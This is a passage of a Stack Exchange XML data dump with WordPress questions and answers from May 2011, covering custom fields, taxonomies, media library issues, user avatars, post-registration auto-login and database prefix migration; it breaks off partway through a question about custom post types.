  <row Id="18051" PostTypeId="1" CreationDate="2011-05-23T16:08:58.043" Score="0" ViewCount="76" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18024/wordpress-plugin-to-insert-and-display-data&quot;&gt;Wordpress plugin to insert and display data&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Hi,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a wordpress plugin that will allow me to add people to a database (from the backend) and then display the database contents in a page. Been looking for something like that everywhere, but I don't really know what's it called, so couldn't really find any results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone know of any, please let me know.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" LastActivityDate="2011-05-23T20:53:56.270" ClosedDate="2011-06-02T12:43:31.087" Title="Looking for a wordpress plugin" Tags="&lt;database&gt;&lt;plugins&gt;" CommentCount="1" />
  <row Id="18052" PostTypeId="2" ParentId="18045" CreationDate="2011-05-23T20:54:54.910" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;image_send_to_editor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function insert_img_rel_attrib( $html, $id, $caption, $title, $align, $url, $size, $alt )&#xA;{&#xA;  /* Run your magic on the image $html to insert rel attrib */&#xA;  return $html;&#xA;}&#xA;add_filter( 'image_send_to_editor', 'insert_img_rel_attrib' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-05-23T20:54:54.910" />
  <row Id="18053" PostTypeId="1" AcceptedAnswerId="18054" CreationDate="2011-05-23T20:56:39.910" Score="1" ViewCount="110" Body="&lt;p&gt;I have a custom taxonomy, and would like to force the user to select at least one term from that taxonomy when creating a post in the WordPress admin back-end. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="5620" LastActivityDate="2011-05-23T21:04:44.600" Title="How to enforce the selection of at least one term from a custom taxonomy?" Tags="&lt;taxonomy&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18054" PostTypeId="2" ParentId="18053" CreationDate="2011-05-23T21:04:44.600" Score="0" ViewCount="" Body="&lt;p&gt;No. This is not completely possible. One solution would be to swap out the default UI on /wp-admin/post.php &amp;amp; /wp-admin/post-new.php. You can provide the user with radio buttons or a select box. This will work relatively well, but can not be 100% trusted. There is still the possibility that a user could remove all terms via quick edit in /wp-admin/edit.php.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-23T21:04:44.600" CommentCount="2" />
  <row Id="18055" PostTypeId="2" ParentId="17994" CreationDate="2011-05-23T21:07:15.067" Score="0" ViewCount="" Body="&lt;p&gt;You can also try out the &lt;a href=&quot;http://wordpress.org/extend/plugins/crossslide-jquery-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Cross Slide Cross Fade&lt;/a&gt; Plugin by christopherross.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-05-23T21:07:15.067" />
  <row Id="18056" PostTypeId="1" CreationDate="2011-05-23T21:08:39.927" Score="1" ViewCount="126" Body="&lt;p&gt;I uploaded the &quot;uploads&quot; folder to my wordpress install manually from a backup with the exact domain. All of the media properties for height and with are the same and they are all visible on the site. The only problem is that I can't see them in the media tab. Any fix for this?&lt;/p&gt;&#xA;" OwnerUserId="5396" LastActivityDate="2011-05-23T22:09:16.730" Title="Force wordpress to see uploads folder media" Tags="&lt;uploads&gt;&lt;media&gt;&lt;pictures&gt;" AnswerCount="2" />
  <row Id="18057" PostTypeId="2" ParentId="18047" CreationDate="2011-05-23T21:16:06.083" Score="2" ViewCount="" Body="&lt;p&gt;Comments inline:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;     global $wp_query;&#xA;    //* first let's get current post parent category ID&#xA;&#xA;    $ID = $wp_query-&amp;gt;posts[0]-&amp;gt;ID; //* get current post ID&#xA;    $postcat = get_the_category($ID); //* based on post ID, get current post categories IDs -&amp;gt; WP function returns array of stdClass Objects, one stdClass Object for each category; if there is child - parent relationship, first it will return Objects for children categories and than for parents -&amp;gt; add &quot;print_r ($postcat);&quot; without quotation marks in next row to see content of array&#xA;    $cat = $postcat[0]-&amp;gt;cat_ID; //* get first category ID from first Object in $postcat array (if post has children categories, it will get first child ID, else it will get first category ID)&#xA;    $thiscat = get_category ($cat); //* get array of category objects for $cat (current) category -&amp;gt; add &quot;print_r ($thiscat);&quot; without quotation marks in next row to see content of array&#xA;    $parent = $thiscat-&amp;gt;category_parent; //* and extract parent category ID; if category has no parent category (and parent category has no parent), ID = 0&#xA;&#xA;    //* now we have current category parent ID No, or if category has no children ID = 0&#xA;    //* let's check if we heave categroy with children categories or not&#xA;&#xA;    if ($parent == 0) //* if parent ID = 0, it is category without parent category    &#xA;        {} //* do nothing &#xA;&#xA;    else { //* else, if it has children categories&#xA;&#xA;        $subcategories = get_categories('child_of='.$parent); //* get array of children categories Objects and&#xA;&#xA;        $items=''; //* create new ArrayObject and&#xA;&#xA;            foreach($subcategories as $subcat) { //* foreach child category in array&#xA;                if($thiscat-&amp;gt;term_id == $subcat-&amp;gt;term_id) //* check if current category ID is same as child category ID&#xA;                $current = ' current-cat'; //* if true, add current-cat to li class&#xA;                else $current = ''; //* if not, add nothing&#xA;&#xA;                $items .= '&#xA;                &amp;lt;li class=&quot;cat-item cat-item-'.$subcat-&amp;gt;term_id.$current.'&quot;&amp;gt; &amp;lt;!-- if is child current, add here .current-cat //--&amp;gt;&#xA;                    &amp;lt;a href=&quot;'.get_category_link( $subcat-&amp;gt;term_id ).'&quot; title=&quot;'.$subcat-&amp;gt;description.'&quot;&amp;gt;'.$subcat-&amp;gt;name.' ('.$subcat-&amp;gt;count.' posts)&amp;lt;/a&amp;gt; &amp;lt;!-- link to -&amp;gt; category link, title -&amp;gt; category description, show -&amp;gt; category name and No of posts //--&amp;gt;&#xA;                &amp;lt;/li&amp;gt;';&#xA;            }&#xA;&#xA;        echo &quot;&amp;lt;ul&amp;gt;$items&amp;lt;/ul&amp;gt;&quot;;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5449" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-24T00:31:12.987" LastActivityDate="2011-05-24T00:31:12.987" CommentCount="6" />
  <row Id="18058" PostTypeId="2" ParentId="18044" CreationDate="2011-05-23T21:18:32.227" Score="1" ViewCount="" Body="&lt;p&gt;I think you would have to edit the loop-attachment.php in your theme, specifically lines 50-61:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( wp_attachment_is_image() ) {&#xA;                                echo ' &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt; ';&#xA;                                $metadata = wp_get_attachment_metadata();&#xA;                                printf( __( 'Full size is %s pixels', 'twentyten' ),&#xA;                                    sprintf( '&amp;lt;a href=&quot;%1$s&quot; title=&quot;%2$s&quot;&amp;gt;%3$s &amp;amp;times; %4$s&amp;lt;/a&amp;gt;',&#xA;                                        wp_get_attachment_url(),&#xA;                                        esc_attr( __( 'Link to full-size image', 'twentyten' ) ),&#xA;                                        $metadata['width'],&#xA;                                        $metadata['height']&#xA;                                    )&#xA;                                );&#xA;                            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pretty sure commenting out this whole block will achieve what you want. Haven't tested it myself though.&lt;/p&gt;&#xA;" OwnerUserId="4675" LastActivityDate="2011-05-23T21:18:32.227" CommentCount="2" />
  <row Id="18059" PostTypeId="2" ParentId="18042" CreationDate="2011-05-23T21:20:20.183" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://en.wordpress.com/api-keys/&quot; rel=&quot;nofollow&quot;&gt;http://en.wordpress.com/api-keys/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;If you already have a WordPress.com&#xA;  account, your API key is listed on&#xA;  your profile page, which you can get&#xA;  to by clicking the “My Account” link&#xA;  in the top left when you’re logged&#xA;  in.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5449" LastActivityDate="2011-05-23T21:20:20.183" CommentCount="1" />
  <row Id="18060" PostTypeId="2" ParentId="18044" CreationDate="2011-05-23T21:28:01.927" Score="0" ViewCount="" Body="&lt;p&gt;Here is the basic php function that you would need to insert into your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function lose_attachment($content){&#xA;return preg_replace('/&amp;lt;a(.*?)href=&quot;(.*?)\/attachment\/(.*?)&quot;/i', '&amp;lt;a$1href=&quot;$2&quot;', $content);&#xA;}&#xA;add_filter('the_excerpt', 'lose_attachment',2);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will remove the 'attachment/name-of-image-file' part from the URL making it link to the post's permalink itself.&lt;/p&gt;&#xA;" OwnerUserId="5449" LastActivityDate="2011-05-23T21:28:01.927" CommentCount="1" />
  <row Id="18061" PostTypeId="2" ParentId="18056" CreationDate="2011-05-23T21:32:19.243" Score="2" ViewCount="" Body="&lt;p&gt;Unless I am mistaken, when you upload a file in Wordpress, it actually places the file in the uploads folder, but also adds a post entry to the database behind the scenes somewhere. If you are missing that MySQL data for Wordpress to know what to show in the Media Gallery, then they won't show up in that view (even though the files are technically there behind the scenes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you may want to double check your path in Wordpress for the folder just in case. You can find this at Settings--&gt;Misc&lt;/p&gt;&#xA;" OwnerUserId="5449" LastEditorUserId="5449" LastEditorDisplayName="" LastEditDate="2011-05-23T22:09:16.730" LastActivityDate="2011-05-23T22:09:16.730" CommentCount="1" />
  <row Id="18062" PostTypeId="2" ParentId="18045" CreationDate="2011-05-23T21:39:36.133" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;rel=&quot;whatever&quot;&lt;/code&gt; attribute is only for search engines. If you consider to make your content &quot;better&quot; for spiders, crawlers and such, &lt;a href=&quot;http://de.selfhtml.org/html/kopfdaten/beziehungen.htm&quot; rel=&quot;nofollow&quot;&gt;take a look at this list first&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-23T21:39:36.133" CommentCount="6" />
  <row Id="18063" PostTypeId="2" ParentId="18056" CreationDate="2011-05-23T21:42:02.980" Score="1" ViewCount="" Body="&lt;p&gt;First, its not a bug. Its by design.&#xA;Second, you can try this plugin - &lt;a href=&quot;http://wordpress.org/extend/plugins/add-from-server/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/add-from-server/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-05-23T21:42:02.980" />
  <row Id="18064" PostTypeId="1" AcceptedAnswerId="18082" CreationDate="2011-05-23T22:57:51.847" Score="1" ViewCount="129" Body="&lt;p&gt;Ok so i have added a custom field into the users edit profile page where they can add a link to a url of an image they want. I am currently using this for contribitors and above but i also have a small little profile box on my site that gets a users avatar from gravatar. I used the code from before but changed it around to get the current signed on users authorpic or get the gravatar. See code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$profilepic = get_user_meta('author_pic');&#xA;$imgtagbeg = ('&amp;lt;img style=&quot;height:52px; width:52px&quot; src=&quot;');&#xA;$imgtagend = ('&quot;/&amp;gt;');&#xA;    if ($profilepic)&#xA;        echo $imgtagbeg,$profilepic,$imgtagend; &#xA;    else&#xA;        echo get_avatar( $user_email, '52', $default = 'http://www.gravatar.com/avatar.php?gravatar_id=$md5&amp;amp;size=80&amp;amp;default=$default' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i want to do is if the current user signed in has a avatar linked in his profile field then use that instead of gravatar. But if the author does have a gravatar and has left the field blank in the profile use that or get the default gravatar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;What about something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$userpic = '&amp;lt;img src=&quot;link/to/author_pics/$userid.png&quot;';&#xA;    if ($userpic)&#xA;        echo $userpic;&#xA;    else&#xA;        echo get_avatar( $user_email, '52', $default = 'http://www.gravatar.com/avatar.php?gravatar_id=$md5&amp;amp;size=80&amp;amp;default=$default' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of relying on a user field just upload an image to a directory and use there userid as the filename then load it else use gravatar. Would that work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$userpiccur = wp_get_current_user();&#xA;$userpicloc = 'http://avatars.mydomain.com/';&#xA;$userpictyp = '.png';&#xA;$userpicurl = $userpicloc . $userpiccur-&amp;gt;user_login . $userpictyp;&#xA;$header_response = get_headers($userpicurl, 1);&#xA;$userpicbeg = '&amp;lt;img style=&quot;height:52px; width:52px&quot; src=&quot;http://avatars.mydomain.com/';&#xA;$userpicend = '.png&quot;/&amp;gt;';&#xA;if ( strpos( $header_response[0], &quot;404&quot; ) !== false )&#xA;    echo $userpicbeg,$userpiccur-&amp;gt;user_login,$userpicend;&#xA;else&#xA;    echo get_avatar( $user_email, '52', $default = 'http://www.gravatar.com/avatar.php?gravatar_id=$md5&amp;amp;size=80&amp;amp;default=$default' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-24T02:48:30.893" LastActivityDate="2011-05-24T03:33:16.350" Title="get_user_meta Short Profile Section" Tags="&lt;custom-field&gt;&lt;users&gt;&lt;usermeta&gt;&lt;gravatar&gt;" AnswerCount="3" />
  <row Id="18065" PostTypeId="1" AcceptedAnswerId="18069" CreationDate="2011-05-23T23:02:39.133" Score="1" ViewCount="103" Body="&lt;p&gt;I am trying to hook in to automatically sign-in the user after registration. (using a GravityForms registration form).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of the hooks seem to be working.  I've tried: gform_user_registered, user_register, a filtered 'update_user_metadata'....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would this not kill the script after a registration happens?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;user_register&quot;, &quot;my_auto_login&quot;);&#xA;function my_auto_login($user_id) {&#xA;    die('x');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Login after registration seems like it should not be that complicated.&lt;/p&gt;&#xA;" OwnerUserId="1770" LastActivityDate="2011-05-23T23:27:45.093" Title="Registration Hooks don't appear to be working" Tags="&lt;functions&gt;&lt;hooks&gt;&lt;login&gt;&lt;registration&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18066" PostTypeId="2" ParentId="9076" CreationDate="2011-05-23T23:12:52.377" Score="1" ViewCount="" Body="&lt;p&gt;The OP was overzealous when doing a search-and-replace on the database export file, and ended up changing occurrences of &quot;wp_&quot; within some of the serialized data. The solution is to be more parsimonious in the search-and-replace by including the backtick within the regular expression, and then manually updating the remaining keys within the database after import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are migrating and changing the prefix, and like a more manual approach, do the following (this only addresses the OPs concerns and does not deal with updating the site URL)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Backup and move your database export&#xA;SQL file to the new environment (my example assumes a filename of backup_YYYY-MM-DD.sql)&lt;/li&gt;&#xA;&lt;li&gt;Do a mass search-and-replace on the&#xA;SQL file to change the table names&#xA;to use your new prefix (PRIOR to&#xA;importing your SQL file!). One way&#xA;to do this would be to use a Perl&#xA;one-liner like: perl -p -i.bak -e&#xA;&quot;s/`wp_/`myprefix_/g&quot;&#xA;backup_YYYY-MM-DD.sql&lt;/li&gt;&#xA;&lt;li&gt;Import your SQL data into the database&lt;/li&gt;&#xA;&lt;li&gt;Update any keys within _options that&#xA;contain the prefix hard-coded:&#xA;update myprefix_options set&#xA;option_name =&#xA;concat('myprefix_',substr(option_name,4))&#xA;where option_name like 'wp_%'&lt;/li&gt;&#xA;&lt;li&gt;Update any keys within _user_meta&#xA;that contain the hard-coded prefix:&#xA;update myprefix_usermeta set&#xA;meta_key =&#xA;concat('myprefix_',substr(meta_key,4))&#xA;where meta_key like 'wp_%'&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-05-23T23:12:52.377" />
  <row Id="18067" PostTypeId="2" ParentId="18064" CreationDate="2011-05-23T23:19:14.040" Score="1" ViewCount="" Body="&lt;p&gt;From the core:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_user_meta($user_id, $key, $single = false) {&#xA;    return get_metadata('user', $user_id, $key, $single);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pass the user id as the first argument, the key &lt;code&gt;'author_pic'&lt;/code&gt; as the second and &lt;code&gt;TRUE&lt;/code&gt; as the third (to get a string value back).&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-23T23:19:14.040" CommentCount="2" />
  <row Id="18068" PostTypeId="1" AcceptedAnswerId="20185" CreationDate="2011-05-23T23:25:50.623" Score="2" ViewCount="283" Body="&lt;p&gt;let's say I have 100 categories and each has 10 custom fields for it self,for example : &#xA;category Computer : Cpu - Hard - Ram - ...&#xA;category TV : resolution - inch - usb support - ...&#xA;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now I want the editor only can see related custom fields to post(ex. computer) , I don't want them to see like 1000 custom fields and tries to find the related custom field to fill in, it will take for ever !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm making my own theme and can do what ever change that is needed !!&#xA;I couldn't find any plugin for this !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance .&lt;/p&gt;&#xA;" OwnerUserId="5622" LastEditorUserId="5622" LastEditorDisplayName="" LastEditDate="2011-05-25T20:49:21.500" LastActivityDate="2011-06-16T13:31:44.447" Title="Wordpress Custom Fields by category" Tags="&lt;custom-field&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="18069" PostTypeId="2" ParentId="18065" CreationDate="2011-05-23T23:27:45.093" Score="0" ViewCount="" Body="&lt;p&gt;Use the Gravity forms gform_user_registered hook.  It fires after the registration and will return the $user_id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_auto_login( $user_id ) {&#xA;wp_set_auth_cookie( $user_id, false, is_ssl() );&#xA;wp_redirect( admin_url( 'profile.php' ) );&#xA;exit;&#xA;}&#xA;&#xA;add_action( 'gform_user_registered', 'my_auto_login' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-23T23:27:45.093" CommentCount="3" />
  <row Id="18070" PostTypeId="2" ParentId="18013" CreationDate="2011-05-23T23:28:28.883" Score="1" ViewCount="" Body="&lt;p&gt;Thanks to @toscho for the useful answer, but it felt a bit hackish to me, so I poked around a bit and figured out I could add a filter instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpa18013_add_pages_to_dropdown( $pages, $r ){&#xA;    if('page_on_front' == $r['name']){&#xA;        $args = array(&#xA;            'post_type' =&amp;gt; 'stack'&#xA;        );&#xA;        $stacks = get_posts($args);&#xA;        $pages = array_merge($pages, $stacks);&#xA;    }&#xA;&#xA;    return $pages;&#xA;}&#xA;add_filter( 'get_pages', 'wpa18013_add_pages_to_dropdown' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;After adding the above code I was, indeed, able to use a custom post type as the home page, but WordPress would redirect the permalinks because it wasn't a &quot;page&quot; post type.  So &lt;code&gt;http://localhost/test&lt;/code&gt; would redirect to &lt;code&gt;http://localhost/test/stacks/home-stack&lt;/code&gt;, which wasn't what I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding this action, though, fixed that and queries my custom post type along with pages for the home page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function enable_front_page_stacks( $query ){&#xA;    if('' == $query-&amp;gt;query_vars['post_type'] &amp;amp;&amp;amp; 0 != $query-&amp;gt;query_vars['page_id'])&#xA;        $query-&amp;gt;query_vars['post_type'] = array( 'page', 'stack' );&#xA;}&#xA;add_action( 'pre_get_posts', 'enable_front_page_stacks' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-05-24T04:38:17.880" LastActivityDate="2011-05-24T04:38:17.880" CommentCount="2" />
  <row Id="18071" PostTypeId="2" ParentId="18064" CreationDate="2011-05-24T00:15:05.890" Score="1" ViewCount="" Body="&lt;p&gt;Your code in the edit part of the question should work, and also your first part but you need to add the user ID to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_user_meta&quot; rel=&quot;nofollow&quot;&gt;get_user_meta()&lt;/a&gt; function so use your first code but change the first line to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$profilepic = get_user_meta($user_id,'author_pic',true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and make sure $user_id hold the user's actual ID.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-24T00:15:05.890" CommentCount="12" />
  <row Id="18072" PostTypeId="1" AcceptedAnswerId="18684" CreationDate="2011-05-24T00:52:35.513" Score="1" ViewCount="75" Body="&lt;p&gt;I have a client who uses PDF files for their newsletter, I don't think that this is a good idea personally, but it's not negotiable. They have a news page where they put real time news and they'd like to add a sidebar to this page where there would be links to download these PDF files which would update automatically when they add them to the media library. So that the page doesn't over populate we've agreed that only the 12 most recent newsletters should be shown, that's 1 for each month of the year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have no plans to add media of any other type without it being attached directly to posts or pages, so I figure that just a list of the 12 most recent unattached media files should suffice. Is there a way that this can be done using say a custom loop or WP_query object? I really have no idea how to go about starting this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done all sorts of workarounds in all sorts of ways regarding custom loops and sidebars so that's not the issue, what I really need to know is if there is an option for the loop to only display unattached media, or some WordPress function that lists media.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't really give any examples or snippets of my code because I haven't started anything yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Okay, figured it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, I found a pretty straight forward sort of solution. It's not perfect because it's taking excessive amounts of steps per newsletter but it works exactly how I want it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I've got sitting in my sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php query_posts('category_name=newsletter&amp;amp;number_of_posts=12');&#xA;              if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;              // From here down I found on a site which I'll cite below.&#xA;              &amp;lt;?php $args = array(&#xA;                    'post_type' =&amp;gt; 'attachment',&#xA;                    'numberposts' =&amp;gt; null,&#xA;                    'post_status' =&amp;gt; null,&#xA;                    'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;              );&#xA;              $attachments = get_posts($args);&#xA;              if ($attachments) {&#xA;                    foreach ($attachments as $attachment) {&#xA;                          echo '&amp;lt;li&amp;gt;';&#xA;                          the_attachment_link($attachment-&amp;gt;ID, false);&#xA;                          echo '&amp;lt;/li&amp;gt;';&#xA;                    }&#xA;              } ?&amp;gt;&#xA;&#xA;              &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;              &amp;lt;?php wp_reset_query; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I made a category called Newsletter and the only thing I put in each post is a title and attach a PDF, the title doesn't even carry through, but it's necissary to publish the post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, &lt;a href=&quot;http://www.wprecipes.com/how-to-show-wordpress-post-attachments&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is the link to the source for that code. I love these guys.&lt;/p&gt;&#xA;" OwnerUserId="5625" LastEditorUserId="5625" LastEditorDisplayName="" LastEditDate="2011-05-24T01:59:36.360" LastActivityDate="2011-05-30T04:49:24.077" Title="How would I go about listing only unattached media in say a sidebar?" Tags="&lt;media&gt;&lt;custom-loop&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="18073" PostTypeId="1" AcceptedAnswerId="18075" CreationDate="2011-05-24T01:10:23.230" Score="0" ViewCount="42" Body="&lt;p&gt;I currently have this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$meta = get_post_meta(get_the_ID(), 'rw_agentPhone', true);&#xA;echo &quot;office:&quot;;&#xA;echo $meta; // if you want to show&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is fine provided there is a value for rw_agentPhone, but if the profile has no value entered it still displays office:, how can I rewrite this so that office: only dispalys if there is a value for rw_agentPhone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is basic php but I just haven't been able to crack this.&lt;/p&gt;&#xA;" OwnerUserId="4090" LastActivityDate="2011-05-24T05:27:02.780" Title="Show label for value only when value exists, basic php" Tags="&lt;php&gt;&lt;conditional-content&gt;" AnswerCount="2" />
  <row Id="18075" PostTypeId="2" ParentId="18073" CreationDate="2011-05-24T01:33:46.840" Score="1" ViewCount="" Body="&lt;p&gt;This is &lt;strong&gt;very&lt;/strong&gt; basic. Invest some time in a PHP tutorial. It’s fun! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$meta = get_post_meta( get_the_ID(), 'rw_agentPhone', TRUE );&#xA;// get_post_meta() returns an empty string if it doesn’t find anything.&#xA;// We just test for this. If the string is not empty, we print it out.&#xA;'' != $meta and print &quot;office: $meta&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-24T01:33:46.840" CommentCount="2" />
  <row Id="18076" PostTypeId="2" ParentId="18072" CreationDate="2011-05-24T01:42:40.323" Score="1" ViewCount="" Body="&lt;p&gt;Queries for something that doesn’t exist are … tricky and probably inefficient. I would suggest another route:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a taxonomy to the uploaded PDF files. You could use a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/media-tags/&quot; rel=&quot;nofollow&quot;&gt;Media Tags&lt;/a&gt; for that. &lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_posts()&lt;/code&gt;&lt;/a&gt; to get the last 12 attachments from this taxonomy.&lt;/li&gt;&#xA;&lt;li&gt;Done.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-24T01:42:40.323" />
  <row Id="18077" PostTypeId="1" CreationDate="2011-05-24T02:00:09.387" Score="0" ViewCount="36" Body="&lt;p&gt;I have to find a work around due to the fact that my archive-custom_post_type.php file is not working.  The queries are using index.php and I need to do the following:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a post is assigned to custom post type category (the categories are different from regular posts), I need those posts to exclude certain pieces of information that are output in the main query of all posts.  I know this is a simple query but I can't figure it out and the Codex is so confusing to me. I want to remove everything but the post title from the custom post type posts; the main query includes title, category and author.  The system won't allow me to post the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I posted to functions.php - I originally relied on a plugin through which single-{posttype}.php worked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;register_post_type('Business_Sold', array( 'label' =&amp;gt; 'Businesses Sold','description' =&amp;gt; '','public' =&amp;gt; true,'show_ui' =&amp;gt; true,'show_in_menu' =&amp;gt; true,'capability_type' =&amp;gt; 'post','hierarchical' =&amp;gt; false,'rewrite' =&amp;gt; array('slug' =&amp;gt; ''),'query_var' =&amp;gt; true,'has_archive' =&amp;gt; true,'menu_position' =&amp;gt; 5,'supports' =&amp;gt; array('title','editor','excerpt','trackbacks','custom-fields','comments','revisions','thumbnail','author','page-attributes',),'taxonomies' =&amp;gt; array('category','post_tag',),'labels' =&amp;gt; array (&#xA;  'name' =&amp;gt; 'Businesses Sold',&lt;br&gt;&#xA;  'singular_name' =&amp;gt; 'Business Sold',&lt;br&gt;&#xA;  'menu_name' =&amp;gt; 'Businesses Sold',&lt;br&gt;&#xA;  'add_new' =&amp;gt; 'Add Business Sold',&lt;br&gt;&#xA;  'add_new_item' =&amp;gt; 'Add New Business Sold',&lt;br&gt;&#xA;  'edit' =&amp;gt; 'Edit',&lt;br&gt;&#xA;  'edit_item' =&amp;gt; 'Edit Business 